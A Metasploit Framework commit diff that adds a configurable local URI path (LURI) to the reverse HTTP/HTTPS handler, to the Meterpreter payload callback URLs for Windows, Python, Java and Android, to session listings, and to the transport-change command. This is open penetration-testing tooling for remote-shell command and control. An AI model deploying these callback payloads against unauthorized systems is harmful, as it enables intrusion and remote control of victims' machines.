Land #6707, support for LURI handler

bug/bundler_fix
Louis Sato 2016-04-20 16:26:07 -05:00
commit 6b3326eab2
No known key found for this signature in database
GPG Key ID: 501290E4CECB7DF4
14 changed files with 88 additions and 32 deletions

View File

@ -471,7 +471,7 @@ class ReadableText
def self.dump_references(mod, indent = '')
output = ''
if (mod.respond_to? :references and mod.references and mod.references.length > 0)
if (mod.respond_to? :references && mod.references && mod.references.length > 0)
output << "References:\n"
mod.references.each { |ref|
output << indent + ref.to_s + "\n"
@ -530,6 +530,7 @@ class ReadableText
columns << 'Id'
columns << 'Type'
columns << 'Checkin?' if show_extended
columns << 'Local URI' if show_extended
columns << 'Information'
columns << 'Connection'
@ -558,6 +559,12 @@ class ReadableText
else
row << '?'
end
if session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
row << " (#{session.exploit_datastore['LURI']})"
else
row << '?'
end
end
row << sinfo
@ -597,6 +604,7 @@ class ReadableText
sess_type = session.type.to_s
sess_uuid = session.payload_uuid.to_s
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
sess_luri = session.exploit_datastore['LURI'] || ""
sess_checkin = "<none>"
sess_machine_id = session.machine_id.to_s
@ -626,6 +634,9 @@ class ReadableText
out << " MachineID: #{sess_machine_id}\n"
out << " CheckIn: #{sess_checkin}\n"
out << " Registered: #{sess_registration}\n"
if !sess_luri.empty?
out << " LURI: #{sess_luri}\n"
end
@ -678,6 +689,7 @@ class ReadableText
if (verbose)
uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource)
uripath = ctx[0].datastore['URIPATH'] if uripath.nil?
uripath = ctx[0].datastore['LURI'] if uripath.nil?
row << (uripath || "")
row << (framework.jobs[k].start_time || "")
end

View File

@ -46,7 +46,8 @@ module ReverseHttp
register_options(
[
OptString.new('LHOST', [true, 'The local listener hostname']),
OptPort.new('LPORT', [true, 'The local listener port', 8080])
OptPort.new('LPORT', [true, 'The local listener port', 8080]),
OptString.new('LURI', [false, 'The HTTP Path', ''])
], Msf::Handler::ReverseHttp)
register_advanced_options(
@ -65,7 +66,8 @@ module ReverseHttp
def print_prefix
if Thread.current[:cli]
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
luri = datastore['LURI'].empty? ? "" : "-> (#{datastore['LURI']}) "
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}#{luri}; (UUID: #{uuid.to_s}) "
else
super
end
@ -76,7 +78,7 @@ module ReverseHttp
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri(addr=datastore['LHOST'])
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"#{scheme}://#{uri_host}:#{bind_port}/"
"#{scheme}://#{uri_host}:#{bind_port}#{luri}/"
end
# Return a URI suitable for placing in a payload.
@ -103,7 +105,7 @@ module ReverseHttp
callback_host = "#{callback_name}:#{callback_port}"
end
"#{scheme}://#{callback_host}/"
"#{scheme}://#{callback_host}"
end
# Use the {#refname} to determine whether this handler uses SSL or not
@ -120,6 +122,27 @@ module ReverseHttp
(ssl?) ? 'https' : 'http'
end
#
# The local URI for the handler.
#
# @return [String] Representation of the URI to listen on.
#
def luri
l = datastore['LURI'] || ""
if l && l.length > 0 && l[0] != '/'
# make sure the luri has the prefix
l = "/#{l}"
# but not the suffix
if l[-1] == '/'
l = l[0...-1]
end
end
l.dup
end
# Create an HTTP listener
#
def setup_handler
@ -158,7 +181,7 @@ module ReverseHttp
obj = self
# Add the new resource
service.add_resource("/",
service.add_resource(luri + "/",
'Proc' => Proc.new { |cli, req|
on_request(cli, req, obj)
},
@ -178,7 +201,7 @@ module ReverseHttp
#
def stop_handler
if self.service
self.service.remove_resource('/')
self.service.remove_resource(luri + "/")
if self.service.resources.empty? && self.sessions == 0
Rex::ServiceManager.stop_service(self.service)
end
@ -241,12 +264,15 @@ protected
uuid.arch ||= obj.arch
uuid.platform ||= obj.platform
conn_id = nil
conn_id = luri
if info[:mode] && info[:mode] != :connect
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
else
conn_id << req.relative_resource
conn_id = conn_id[0...-1] if conn_id[-1] == '/'
end
request_summary = "#{req.relative_resource} with UA '#{req.headers['User-Agent']}'"
request_summary = "#{luri}#{req.relative_resource} with UA '#{req.headers['User-Agent']}'"
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
@ -281,7 +307,7 @@ protected
resp.body = pkt.to_r
when :init_python
print_status("Staging Python payload ...")
print_status("Staging Python payload...")
url = payload_uri(req) + conn_id + '/'
blob = ""
@ -310,7 +336,7 @@ protected
})
when :init_java
print_status("Staging Java payload ...")
print_status("Staging Java payload...")
url = payload_uri(req) + conn_id + "/\x00"
blob = obj.generate_stage(
@ -334,7 +360,7 @@ protected
})
when :init_native
print_status("Staging Native payload ...")
print_status("Staging Native payload...")
url = payload_uri(req) + conn_id + "/\x00"
uri = URI(payload_uri(req) + conn_id)
@ -370,16 +396,18 @@ protected
end
when :connect
print_status("Attaching orphaned/stageless session ...")
print_status("Attaching orphaned/stageless session...")
resp.body = ''
conn_id = req.relative_resource
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => payload_uri(req) + conn_id + "/\x00",
:url => url + "\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,

View File

@ -48,6 +48,7 @@ module Payload::Python::ReverseHttp
target_url << ':'
target_url << opts[:port].to_s
target_url << luri
target_url << generate_callback_uri(opts)
target_url
end
@ -56,7 +57,7 @@ module Payload::Python::ReverseHttp
# Return the longest URI that fits into our available space
#
def generate_callback_uri(opts={})
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space

View File

@ -50,7 +50,7 @@ module Msf::Payload::TransportConfig
unless uri
type = opts[:stageless] == true ? :init_connect : :connect
sum = uri_checksum_lookup(type)
uri = generate_uri_uuid(sum, opts[:uuid])
uri = luri + generate_uri_uuid(sum, opts[:uuid])
end
{

View File

@ -51,7 +51,7 @@ module Payload::Windows::ReverseHttp
# Add extra options if we have enough space
unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
@ -61,7 +61,7 @@ module Payload::Windows::ReverseHttp
conf[:proxy_type] = datastore['PayloadProxyType']
else
# Otherwise default to small URIs
conf[:url] = generate_small_uri
conf[:url] = luri + generate_small_uri
end
generate_reverse_http(conf)
@ -98,7 +98,7 @@ module Payload::Windows::ReverseHttp
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5

View File

@ -55,7 +55,7 @@ module Payload::Windows::ReverseHttp_x64
# add extended options if we do have enough space
unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
@ -65,7 +65,7 @@ module Payload::Windows::ReverseHttp_x64
conf[:proxy_type] = datastore['PayloadProxyType']
else
# Otherwise default to small URIs
conf[:url] = generate_small_uri
conf[:url] = luri + generate_small_uri
end
generate_reverse_http(conf)
@ -96,7 +96,8 @@ module Payload::Windows::ReverseHttp_x64
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5

View File

@ -644,6 +644,16 @@ class ClientCore < Extension
scheme = opts[:transport].split('_')[1]
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
if opts[:luri] && opts[:luri].length > 0
if opts[:luri][0] != '/'
url << '/'
end
url << opts[:luri]
if url[-1] == '/'
url = url[0...-1]
end
end
if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
end

View File

@ -575,6 +575,7 @@ class Console::CommandDispatcher::Core
'-p' => [ true, 'LPORT parameter' ],
'-i' => [ true, 'Specify transport by index (currently supported: remove)' ],
'-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
'-lu' => [ true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)' ],
'-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
'-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
'-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ],
@ -656,6 +657,8 @@ class Console::CommandDispatcher::Core
opts[:uri] = val
when '-i'
transport_index = val.to_i
when '-lu'
opts[:luri] = val
when '-ph'
opts[:proxy_host] = val
when '-pp'

View File

@ -35,7 +35,7 @@ module MetasploitModule
def generate_reverse_http(opts={})
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
http_url: generate_callback_url(opts),
http_url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]

View File

@ -36,7 +36,7 @@ module MetasploitModule
opts[:scheme] = 'https'
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
http_url: generate_callback_url(opts),
http_url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]

View File

@ -30,13 +30,13 @@ module MetasploitModule
def generate_jar(opts={})
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
# TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len)

View File

@ -36,7 +36,7 @@ module MetasploitModule
uri_req_len = 5
end
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
# TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len)

View File

@ -41,7 +41,7 @@ module MetasploitModule
def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't know available space
if self.available_space.nil?
@ -53,8 +53,8 @@ module MetasploitModule
c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/"
c << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
c << "#{luri}"
c << generate_uri_uuid_mode(:init_java, uri_req_len)
c << "\n"
c

View File

@ -57,6 +57,7 @@ module MetasploitModule
c << "Spawn=#{spawn}\n"
c << "URL=https://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "#{luri}"
c << generate_uri_uuid_mode(:init_java, uri_req_len)
c << "\n"